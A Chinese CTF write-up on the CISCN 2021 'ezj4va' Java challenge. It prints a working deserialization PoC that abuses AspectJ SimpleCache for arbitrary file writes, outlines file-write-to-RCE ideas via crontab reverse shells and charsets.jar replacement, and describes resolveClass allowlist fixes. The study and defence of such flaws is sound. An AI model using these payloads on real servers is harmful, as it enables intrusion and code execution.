比赛过程中发现了漏洞点并且提示是写入文件然后rce,不过在封装恶意类的时候一直报错,然后就一直到比赛结束也没有调试出来,不过之后问了Mrkaixin师傅发现自己的一下小问题,然后在问了学长hpdoger给了思路可能是springboot任意选择文件写到rce的利用,于是自己又打开了idea开始研究。再次非常感谢Mrkaixin师傅和学长朱师傅。

搭建环境

在比赛中我们可以访问robots.txt访问源代码,然后下载之后在本地搭建,使用maven环境,这里有点配置环境自己想办法咯,因为比赛的时候是断网的,还好自己之前下载了很多包使用,搭建之后就可以看一下项目目录。

项目启动详细在launch/Main可以看到,并且是以tomcat启动端口8081。

代码审计

接下来就是代码审计,审计思路是先看控制器controller。在IndexController控制器中存在下载功能也就是下载我们的源代码,不过并没有任意文件下载。。。。

然后在看CartController控制器里面根据不同的路由触发不同的操作而都是简单的操作,添加add 查询query 删除remove操作。

简单的看了一下具体的操作都是我们可以控制get参数skus和cookie值

并且每个操作下都有对参数值进行了序列化和反序列化操作。然后跟进发现有一个接口,是其具体方法的实现。

我们就看一个基本上就可以了,如下我们看addToCart方法。将我们的参数值进行反序列化之后添加到map集合里面。

其他的操作一样,然后看看反序列化的实现,可以发现是直接反序列化base64编码的参数。

然后基本上了解了大体上项目是思路,我们可以控制get参数和cookie参数并且去执行添加查询删除操作,注意一点这里的get参数和cookie参数必须为Cart类。不然会报错。

然后在比赛中自己发现query方法的实现非常简单直接进行反序列化操作。


当时感觉wc!直接利用cc链直接打啊,然后去满怀期待的看看pom.xml文件。。。

并没有cc组件和漏洞组件。。。这里的fastjson和aspectj是自己修改的版本因为不想在下载其他的。而对于fastjson原来版本是1.2.72无漏洞除非有0day!并且也利用不了。而aspectj原版本是1.9.5,然后让队友去利用可以上网的靶机搜索aspectj版本漏洞果然有一个写入文件漏洞,需要配合cc链,而项目并没有cc组件。那就先看aspectj的利用文章。

看看调用栈

Gadget chain:
HashSet.readObject()HashMap.put()HashMap.hash()TiedMapEntry.hashCode()TiedMapEntry.getValue()LazyMap.get()SimpleCache$StorableCachingMap.put()SimpleCache$StorableCachingMap.writeToPath()FileOutputStream.write()

看了这个之后,大概懂了为什么需要cc组件,TiedMapEntry和LazyMap都是cc组件里面的类。所以前面的我们根本不能使用,然后看下面的需要了 SimpleCache$StorableCachingMap#put,回顾我们之前项目的操作过程,里面是不是操作了一个put方法将数据put到map集合里面?那这链子不是就通了?

所以现在的调用栈

Gadget chain:
CartServiceImpl.addToCart() //反序列化成cart对象Deserializer.readObject()CartServiceImpl.addToCart()//存在put方法SimpleCache$StorableCachingMap.put()SimpleCache$StorableCachingMap.writeToPath()FileOutputStream.write()

然后在看看最后的写入文件过程

然后调用writeToPath方法

文件内容和文件里面的值我们都可以控制,所以可以成功写入文件。

构造poc

因为前文件说了控制的参数需要是cart类,不能反序列化的所以要报错。所以我们直接在项目domain/cart里面构造。

首先我们让cookie序列化之后的cart类的SkuDescribe首先为我们的恶意类SimpleCache,并且类型为一个map。这样需要注意一下不然构造poc的时候报错。

这里我们可以利用一部分yso里面的poc。然后直接给setSkuDescribe进去一个恶意的对象simpleCache,这里需要注意一下因为SimpleCache类的内部类StoreableCachingMap属性是private的要报错,解决的方法是在当前项目目录下建立一样的类并且修改内部类StoreableCachingMap的属性为public。

Constructor ctor = Reflections.getFirstCtor("org.aspectj.weaver.tools.cache.SimpleCache$StoreableCachingMap");
Object simpleCache = ctor.newInstance(".", 12);//获得obj

直接set进去要报错因为数据类型不匹配,也正是我前面说的SkuDescribe类型是map,然后我们就封装成map就欧克。

cart.setSkuDescribe((Map<String, Object>) simpleCache);

然后我们cookie参数获得构造好了,之后在构造我们的get数据写入文件。

我们还是直接setSkuDescribe一个Map进去,map的key为文件名value为文件内容。

Map map = new HashMap();
String filepath = "1.txt";
String data = readFile(filepath);//自己写了一个读文件的函数
map.put("2.txt",data.getBytes(StandardCharsets.UTF_8));//编码
cart.setSkuDescribe(map);

然后一起将get和cookie的值进行base64编码发送就欧克就能成功写入文件。

完整的poc

public static String readFile(String filePath) throws Exception{// 根据path路径实例化一个输入流的对象FileInputStream  fis = new FileInputStream(filePath);//2. 返回这个输入流中可以被读的剩下的bytes字节的估计值;int size = fis.available();System.out.println(size);//3. 根据输入流中的字节数创建byte数组;byte[] array = new byte[size];//4.把数据读取到数组中;fis.read(array);//5.根据获取到的Byte数组新建一个字符串,然后输出;String result = new String(array);result = result.replaceAll("\r|\n", "");fis.close();return result;
}public static Cart cookiePayload() throws Exception {Cart cart = new Cart();Constructor ctor = Reflections.getFirstCtor("org.aspectj.weaver.tools.cache.SimpleCache$StoreableCachingMap");Object simpleCache = ctor.newInstance(".", 12);//获得objcart.setSkuDescribe((Map<String, Object>) simpleCache);return cart;
}public static Cart getPayload() throws Exception {Map map = new HashMap();Cart cart = new Cart();String filepath = "1.txt";String data = readFile(filepath);map.put("2.txt",data.getBytes(StandardCharsets.UTF_8));//编码cart.setSkuDescribe(map);return cart;
}public static String getURLEncoderString(String str) {String result = "";if (null == str) {return "";}try {result = java.net.URLEncoder.encode(str, "UTF-8");} catch (UnsupportedEncodingException e) {e.printStackTrace();}return result;
}public static String URLDecoderString(String str) {String result = "";if (null == str) {return "";}try {result = java.net.URLDecoder.decode(str, "UTF-8");} catch (UnsupportedEncodingException e) {e.printStackTrace();}return result;
}public static String Exp(Cart poc)throws Exception{ByteArrayOutputStream baos = new ByteArrayOutputStream();ObjectOutputStream oos = new ObjectOutputStream(baos);oos.writeObject(poc);baos.close();return (new BASE64Encoder().encode(baos.toByteArray()).replace("\r\n", ""));
}public static void main(String[] args) throws Exception {System.out.println("--------------------------------------------get数据-------------------------------------------");System.out.println(getURLEncoderString(Exp(getPayload())));System.out.println("--------------------------------------------cookie数据----------------------------------------");System.out.println(Exp(cookiePayload()));
}

RCE思路

不过能写入文件并不能拿到flag,然后放了hint我记得是rce什么的。不过在之后的fix模式才知道项目是直接打包了jar java -jar xx.jar启动,那写入文件有啥用??

下面的思路是学长hpdoger给的说让我看看《Spring Boot Fat Jar 写文件漏洞到稳定 RCE 的探索》这篇文章。

这也是我们的问题。

思路一:

写入crontab 计划任务文件,然后反弹shell。不过我也不知道有没有权限。。。。

思路二:

如果找到一种方法可以控制程序在指定的写文件漏洞可控的文件范围内,主动触发初始化恶意的类,就有可能让写文件漏洞变成代码执行漏洞。简单的说就是我们写入的文件进行了初始化操作会执行 static 代码块、static 属性引用的方法等,还可能执行构造器中的代码。然后我们将命令放在静态代码里面就可以执行了。

而这个文件范围在文章中说了可能是更底层的 “系统的 classpath 目录”,即 JDK HOME 目录下。既:/jre/lib/charsets.jar文件。

接下来就需要解决一个问题我们可以写入这个文件然后怎么触发?既:怎么主动触发可以控制类名的类初始化行为。

文章中有具体的分析这里就给出poc,替换过 charsets.jar 后,用如下的数据包就可触发 RCE 了 _

GET / HTTP/1.1
Accept: text/html;charset=GBKimport requests
headers = {"Accept": "text/html;charset=GBK"}
requests.get(url, headers=headers)

思路三:

使用spi ServiceLoader.load(CharsetProvider.class, cl);我只需要在系统的classpath中添加一个SPI类就行了。然后就是继承CharsetProvider重写里面的方法当利用Charset.forName()的时候触发rce。

思路四:

hook sun.nio.cs.ext.ExtendedCharsets 我们可以重写这个类然后添加恶意代码然后执行命令。可以劫持系统程序,不论是javac.exe编译字节码,还是运行jvm等,都会触发Charset.forName()。不过在该题目不能使用,因为题目环境是一直在运行的,不会重新启动所以也不会触发。

基本上利用的思路都是覆盖文件(替换charsets.jar包/写入classes文件夹)然后通过Charset.forName()触发。

不过在这个题目中自己测试了一下通过 “Accept”: “text/html;charset=evil;”触发不了,在回过头来看根本没有import springframework导致利用不成功。并且项目里面自己没有找到Charset.forName()触发点。。。。。

不过思路可能是这个吧?!只是个人的猜想,不过这个题确实自己思考了有一段时间。

先挖一个坑在这里吧。。。。。。。。。

Fix思路

之后的一个小时就是fix模式,对于java的fix自己最开始是完全没有思路的,是比赛结束之后自己学的思路和方法。于是就简单的记录一下。

github上有一篇文章写的比较全 这里自己只是实现其中的一个方法,而该方法也是SerialKiller项目的底层原理,也是很多框架使用的方法。

hook

hook ObjectInputStream类的resolveClass方法

需要继承Java.io.ObjectInputStream实现一个子类,在子类中重写resolveClass方法,以实现在其中通过判断类名来过滤危险类。然后在JavaSerializer类中使用这个子类来读取序列化数据,从而修复漏洞。
新建一个工具类:utils/Fix

package ciscn.fina1.ezj4va.utils;import ciscn.fina1.ezj4va.domain.Cart;
import java.io.*;public class Fix extends ObjectInputStream {public Fix(InputStream inputStream)throws IOException {super(inputStream);}/*** 只允许反序列化Cart.class*/@Overrideprotected Class<?> resolveClass(ObjectStreamClass desc) throws IOException,ClassNotFoundException {if (!desc.getName().equals(Cart.class.getName())) {throw new InvalidClassException("Unauthorized deserialization attempt",desc.getName());}return super.resolveClass(desc);}}

并且修改Deserializer类

package ciscn.fina1.ezj4va.utils;import java.io.ByteArrayInputStream;
import java.io.IOException;
import java.io.ObjectInputStream;
import java.util.Base64;public class Deserializer{public static Object deserialize(String base64data) throws IOException, ClassNotFoundException {ByteArrayInputStream bais = new ByteArrayInputStream(Base64.getDecoder().decode(base64data));Fix fix = new Fix(bais);Object obj = fix.readObject();fix.close();return obj;}
}

修改suid

这个修复方案,是从Xenny师傅那学的,是通过修改关键类中(也就是题目的cart类)的serialVersionUID,serialVersionUID可以理解为java序列化的标识,只有满足序列化后的serialVersionUID值和序列化前的值一样才可以成功反序列化。不然会报出InvalidClassException错。可以这样理解因为出题人的exp肯定是构造好了的,于cart类的suid也是对应的,所以如果我们修改cart类的suid就会报错,并且这里可以使用工具修改就不需要反编译和打包了。JByteMod-1.8.2

需要注意的是运行这个工具的时候jre运行环境一定要与项目的运行环境一致。

其他fix思路想不到希望师傅们能给出好方法。

总结

非常感谢Mrkaixin师傅和学长朱师傅还有Xenny师傅。虽然这个题最后还是没有RCE,不过有思路了,还学习了Spring Boot Fat Jar写文件漏洞到稳定RCE,并且学习了java序列化题的fix思路和方法,总的来说这个题出的非常好,自己学习了不少。

最后

我在网上整理了相关的学习资料与工具,有需要的朋友可以关注私信我哦!!!

了解详细

【程序员比赛】CISCN 2021 ezj4va与Fix思路相关推荐

  1. 一年暴增1600万程序员!GitHub 2021年度报告发布:中国755万开发者排全球第二

    点击上方"视学算法",选择加"星标"或"置顶" 重磅干货,第一时间送达 来源丨新智元 编辑丨极市平台 导读 GitHub年度报告显示,去年全 ...

  2. 【程序员薪资】2021年04月新鲜出炉,看看你拖后腿了吗?

    程序员一直都是一个备受人们关注的群体.据IDC统计,全球约有1850万名程序员(数据还在持续增长),中国占10%左右.随着近年全国互联网创业热潮的兴起,"互联网+"."云 ...

  3. 程序员升职记 全关卡攻略通俗思路 Human Resource Machine

    程序员升职记 全过关方法&通俗思路 博主本着能过就过的思想,写出的解答必然不是最优解. 但是可以给大家提供一点思路来参考.其中17和22的解答整理自网络,特别是17的解答,要比博主的原解答巧妙 ...

  4. 转行的35岁程序员们

    "大龄程序员去哪儿了",10月24日程序员节当天,这成为了社交媒体上最火的话题之一.根据澎湃新闻统计,在知乎.豆瓣上关于"大龄程序员"的369个有效提问里,大龄 ...

  5. 程序员的5个级别,看看你到几级?

    程序员这个"物种"自诞生以来,便有了森严的等级制度,划分标准十分复杂却又有规律可循.经常在网上的论坛里看到大家讨论程序员的级别,由于级别不同,薪水也是有着天壤之别. "码 ...

  6. 一位上海疫情下的悲催女程序员!

    见字如面,我是军哥! 今天这篇文章的素材来自一位女程序员读者,她工作 6 年,某创业公司主程.我觉得很真实也很好,在获得她(化名田玉)授权之后,写出来分享给大家! 1.突然小区被隔离 3 月 15 日 ...

  7. 程序员,太辛苦的钱,我建议你不要挣!

    如果有程序员问:2021年,最有"钱"途的岗位是什么?数据分析一定榜上有名. 2021 年起,有一件事已是不可逆的趋势 -- 未来商业世界里,没有一家公司不是数据公司.任何一家公司 ...

  8. 关于区块链,程序员需要了解什么

    作者 | 曹严明 如果说比特币是对传统货币的一种颠覆,那么比特币的基础技术--区块链则是对传统编程范式的一种颠覆. 区块链技术被看作是一次Paradigm Shift.也许很多人对 "颠覆& ...

  9. 从业回忆,一次大胆的冒险,程序员转岗项目经理

    有些事不必知道得太早 程序员这个行业,被"中年危机"言论导向后,就和洗脚城女技师差不多,年轻,漂亮,技术好,体力好的技师收入高,一边拿着高薪,赚着外快,一边吐槽是青春饭,经常熬夜, ...

最新文章

  1. 理解CNN卷积层与池化层计算
  2. 从自定义TagLayout看自定义布局的一般步骤[手动加精]
  3. docker部署python web应用_在 Docker 中运行一个 Python 的 Web 应用
  4. SaltStack介绍——SaltStack是一种新的基础设施管理方法开发软件,简单易部署,可伸缩的足以管理成千上万的服务器,和足够快的速度控制,与他们交流...
  5. 深入探讨用位掩码代替分支(7):MMX指令集速度测试
  6. android settings源代码分析(3)
  7. Android小項目之--ListView與ListAcitivity完善論壇管理效果2(附源碼)
  8. Jetson-TX2安装opencv教程
  9. reset.css 和 flexible.js
  10. 二十二 Python分布式爬虫打造搜索引擎Scrapy精讲—scrapy模拟登陆和知乎倒立文字验证码识别...
  11. framework —— auth认证
  12. c语言开发蓝牙驱动 win7,ATK-hc05蓝牙串口模块驱动
  13. 【随】BIDS 怪异现象
  14. 2019 力扣杯全国秋季编程大赛:3. 机器人大冒险(模拟)
  15. JTS Java空间几何计算、距离、最近点、subLine等计算
  16. 【unity 3d】--- 瞄准镜效果
  17. GlobalSign即将停止签发SHA1代码签名证书
  18. java excel导入 日期_java导入excel时处理日期格式(已验证ok)
  19. Phoenix创建二级索引
  20. Java Bean 转 Map 的巨坑,注意了!!!

热门文章

  1. LSTM:《Understanding LSTM Networks》的翻译并解读
  2. 成功解决AttributeError: module 'tensorflow.python.training.training' has no attribute 'SummaryWriter'
  3. DL之DenseNet:DenseNet算法的简介(论文介绍)、架构详解、案例应用等配图集合之详细攻略
  4. 成功解决ValueError: Parameter values for parameter (n_estimators) need to be a sequence.
  5. EL之Bagging(DTR):利用DIY数据集(预留30%数据+两种树深)训练Bagging算法(DTR)
  6. ng机器学习视频笔记(二) ——梯度下降算法解释以及求解θ
  7. angularJS前台传list数组,后台springMVC接收数组
  8. JavaScript学习总结(二)数组和对象部分
  9. 绝大部分项目都是跟金融创新、互联网、移动互联网、社区经济、分享经济、互联网金融有关...
  10. DAO层使用泛型的两种方式